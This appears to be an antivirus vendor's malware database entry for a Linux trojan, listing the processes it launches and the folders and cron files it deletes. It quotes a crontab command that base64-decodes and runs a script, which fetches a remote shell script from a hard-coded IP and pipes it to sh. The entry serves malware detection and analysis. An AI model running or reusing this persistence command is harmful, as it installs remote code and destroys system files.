Linux.Packed.294
Added to the Dr.Web virus database:
2019-02-02
Virus description added:
2019-02-02
Technical Information
Malicious functions:
Substitutes application name for:
Launches processes:
- sh -c echo '* * * * * echo -n \"KHNsZWVwIDU7IGlmICEgcHMgLWF4IHwgZ3JlcCAtdiBncmVwIHwgZ3JlcCAiWyBdIiQ7IHRoZW4gY2hhdHRyIC1pYWUgL3Vzci9iaW4vd2dldDsgY2htb2QgNzc3NyAvdXNyL2Jpbi93Z2V0OyB3Z2V0IC1PIC0gaHR0cDovLzE4NS4xMC42OC4xMDAvd3Avdy5zaHxzaCA+L2Rldi9udWxsIDI+JjE7IGVsc2Uga2lsbGFsbCAtZiBweXRob247IGtpbGxhbGwgLWYgd2dldDsga2lsbGFsbCAtZiBjdXJsOyBmaSk=\" | base64 -d |sh > /dev/null 2>&1' | crontab -;
- crontab -
Kills system processes:
Performs operations with the file system:
Deletes folders:
- /tmp/.font-unix
- /tmp/.ICE-unix
- /tmp/.X11-unix
- /tmp/.XIM-unix
- /tmp/.Test-unix
Deletes files:
- /etc/cron.hourly/.placeholder
- /etc/cron.daily/passwd
- /etc/cron.daily/aptitude
- /etc/cron.daily/mlocate
- /etc/cron.daily/logrotate
- /etc/cron.daily/apt
- /etc/cron.daily/bsdmainutils
- /etc/cron.daily/.placeholder
- /etc/cron.daily/dpkg
- /etc/cron.daily/man-db
- /etc/cron.daily/exim4-base
- /etc/cron.weekly/.placeholder
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